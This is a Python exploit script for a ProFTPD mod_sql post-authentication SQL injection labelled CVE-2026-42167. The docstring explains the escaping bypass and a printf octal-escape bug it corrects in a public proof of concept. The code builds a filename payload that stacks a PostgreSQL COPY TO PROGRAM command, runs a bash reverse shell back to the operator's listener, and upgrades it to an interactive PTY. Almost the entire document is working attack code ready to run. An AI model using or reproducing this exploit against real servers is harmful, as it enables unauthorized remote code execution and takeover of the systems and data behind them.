#!/usr/bin/env python3

"""

CVE-2026-42167 — ProFTPD mod_sql post-authentication SQL injection -> RCE

postauth_stor_rce.py --host --port 21 \

--user --password \

--shell-host --shell-port 443

SUMMARY

---

ProFTPD's mod_sql logs FTP activity through user-supplied SQL. Its escaping

helper is_escaped_text() treats any value that BEGINS and ENDS with a single

quote and contains no interior single quote as "already escaped", and passes

it into the query verbatim. A STOR filename shaped that way therefore breaks

out of the logging INSERT and stacks a second statement. With a PostgreSQL

backend whose role is a superuser, that statement is COPY ... TO PROGRAM,

which runs an arbitrary OS command.

INSERT INTO xfer_audit VALUES('', '', now())

basename = ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$$$; --'

-> INSERT INTO xfer_audit VALUES('', null, null); -- 3 cols, closed

COPY (SELECT $$x$$) TO PROGRAM $$$$; -- stacked

--', '', now()) -- commented out

Two constraints on the filename shape both queries around:

• NO interior single quote -> the injected SQL is dollar-quoted ($$...$$),

never single-quoted.

• NO forward slash '/' -> FTP forbids it in a filename. The reverse

shell needs /dev/tcp//, so the

slashes are produced at runtime by printf's

octal escape \57 ('/').

THE BUG IN THE PUBLIC PoC (fixed here)

---

The widely-circulated PoC builds the path as one printf format string:

printf "\57dev\57tcp\57\57" # BROKEN

printf greedily consumes up to THREE octal digits after a backslash. "\57" is

only two, so if the very next character is itself an octal digit (0-7) it is

swallowed into the escape:

\57 + '1' -> \571 -> octal 571 = 0x179 -> 0x79 mod 256 = 'y'

So a host or port whose first character is 0-7 is silently corrupted:

host=192.168.118.7 port=4444 -> /dev/tcpy92.168.118.7/y444 (broken)

That covers essentially every private-range attacker IP and every common

listener port, which is why the bug is easy to miss (the PoC's defaults happen

to fall in the safe class) and painful to hit — the only visible symptom is a

reverse shell that never connects.

FIX (this script): keep the four literal slashes in the format string, where

each "\57" is followed by a non-octal character, and pass the attacker-

controlled host/port as printf ARGUMENTS instead of interpolating them into

the format string:

printf "\57dev\57tcp\57%s\57%s" "" "" # CORRECT

Now no user-controlled digit is ever adjacent to a "\57", so the corruption is

structurally impossible for any host/port and on any conforming printf.

CVE: CVE-2026-42167

SEVERITY: Critical (post-auth RCE)

"""

import argparse

import ftplib

import io

import os

import select

import signal

import socket

import sys

import termios

import threading

import time

import tty

def build_payload_filename(shell_host: str, shell_port: int) -> str:

"""Return the STOR filename that stacks a reverse-shell COPY TO PROGRAM.

The reverse-shell command carries the target host/port as printf arguments

(the fix), so no octal-escape corruption is possible.

"""

/dev/tcp// is assembled at runtime; the format string holds

only the slashes, the data is passed as %s arguments.

shell_cmd = (

f'S=$(printf "\\57dev\\57tcp\\57%s\\57%s" "{shell_host}" "{shell_port}");'

f'bash -c "bash -i >& $S 0>&1"'

)

payload = (

"', null, null); "

f"COPY (SELECT $$x$$) TO PROGRAM $${shell_cmd}$$"

"; --'"

)

is_escaped_text() bypass + FTP filename rules — assert, don't hope.

assert payload[0] == "'" and payload[-1] == "'", "must be single-quote wrapped"

assert "'" not in payload[1:-1], "no interior single quote allowed"

assert "/" not in payload, "no slash allowed in an FTP filename"

return payload

def interactive_shell(sock: socket.socket) -> None:

"""Upgrade the raw connect-back to a PTY and bridge the local terminal.

The connect-back is a plain `bash -i` with stdio wired to the socket: no

controlling terminal, so no job control and no `su`/`sudo` password prompt.

Replacing it with util-linux `script` forks bash inside a real PTY pair and

bridges that PTY to the inherited socket; the local terminal goes raw and

forwards keystrokes byte-for-byte.

"""

rows, cols = 24, 80

try:

size = os.get_terminal_size()

rows, cols = size.lines, size.columns

except OSError:

pass

sock.sendall(

b"export TERM=xterm-256color; exec script -qc bash /dev/null\n"

)

time.sleep(0.4)

sock.sendall(f"stty rows {rows} cols {cols}; clear\n".encode())

def on_winch(_sig, _frame):

try:

sz = os.get_terminal_size()

sock.sendall(f"stty rows {sz.lines} cols {sz.columns}\n".encode())

except (OSError, ValueError):

pass

old_winch = signal.signal(signal.SIGWINCH, on_winch)

old_tty = termios.tcgetattr(sys.stdin)

try:

tty.setraw(sys.stdin.fileno())

while True:

r, _, _ = select.select([sock, sys.stdin], [], [])

if sock in r:

data = sock.recv(4096)

if not data:

break

os.write(sys.stdout.fileno(), data)

if sys.stdin in r:

data = os.read(sys.stdin.fileno(), 4096)

if not data:

break

sock.sendall(data)

finally:

termios.tcsetattr(sys.stdin, termios.TCSADRAIN, old_tty)

signal.signal(signal.SIGWINCH, old_winch)

def main() -> int:

p = argparse.ArgumentParser(

description="CVE-2026-42167 ProFTPD mod_sql post-auth RCE (fixed PoC)"

)

p.add_argument("--host", required=True, help="FTP server host")

p.add_argument("--port", type=int, default=21, help="FTP port (default 21)")

p.add_argument("--user", required=True, help="FTP username")

p.add_argument("--password", required=True, help="FTP password")

p.add_argument(

"--shell-host", required=True,

help="Address the target connects back to (your listener)",

)

p.add_argument(

"--shell-port", type=int, default=443,

help="Listener port (default 443). Binding <1024 needs sudo. Note the "

"apple target filters egress to 443/tcp and 53 only.",

)

p.add_argument(

"--timeout", type=int, default=30,

help="Seconds to wait for the connect-back (default 30)",

)

args = p.parse_args()

print("=" * 70)

print("CVE-2026-42167 : ProFTPD mod_sql post-auth SQLi -> RCE")

print("=" * 70)

--- reachability + banner -------------------------------------------

print(f"\n[*] Connecting to {args.host}:{args.port} ...")

try:

with socket.create_connection((args.host, args.port), timeout=8) as s:

banner = s.recv(256).decode(errors="replace").strip()

except OSError as e:

print(f"[-] Connection failed: {e}")

return 1

if "220" not in banner:

print(f"[-] Unexpected banner: {banner!r}")

return 1

print(f"[*] Banner: {banner}")

payload_filename = build_payload_filename(args.shell_host, args.shell_port)

print(f"[*] Reverse shell : {args.shell_host}:{args.shell_port}")

print(f"[*] Payload STOR : {len(payload_filename)} bytes (no '/', no interior quote)")

--- listener ---------------------------------------------------------

Prefer a dual-stack v6 socket so v4-mapped connect-backs also land; fall

back to plain v4 if IPV6_V6ONLY cannot be cleared.

try:

srv = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)

srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

srv.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 0)

srv.bind(("::", args.shell_port))

except OSError:

srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

srv.bind(("0.0.0.0", args.shell_port))

srv.listen(1)

srv.settimeout(args.timeout)

print(f"[+] Listening on 0.0.0.0:{args.shell_port}")

--- fire the injection ----------------------------------------------

STOR must SUCCEED for `SQLLog STOR` to fire, so the upload needs a working

passive data channel. The command runs during the STOR, so send it from a

background thread and wait for the connect-back on the main thread.

def fire():

time.sleep(0.5)

try:

ftp = ftplib.FTP()

ftp.connect(args.host, args.port, timeout=15)

ftp.login(args.user, args.password)

ftp.storbinary(f"STOR {payload_filename}", io.BytesIO(b"x"))

except Exception:

COPY TO PROGRAM blocks the STOR for the life of the shell, so the

control connection often errors out here — that is expected and

not a failure of the exploit.

pass

threading.Thread(target=fire, daemon=True).start()

print("[*] Injection sent, waiting for reverse shell ...")

try:

conn, addr = srv.accept()

except socket.timeout:

print(f"\n[-] No connection after {args.timeout}s.")

print(" Check: creds valid? target can reach "

f"{args.shell_host}:{args.shell_port} outbound? "

"listener port open locally?")

srv.close()

return 1

srv.close()

print(f"[+] Connection from {addr[0]}:{addr[1]}")

print("=" * 70)

print("[+] REMOTE CODE EXECUTION CONFIRMED — interactive shell follows")

print("=" * 70 + "\n")

try:

interactive_shell(conn)

except KeyboardInterrupt:

pass

finally:

conn.close()

print("\n[*] Shell closed.")

return 0

if __name__ == "__main__":

sys.exit(main())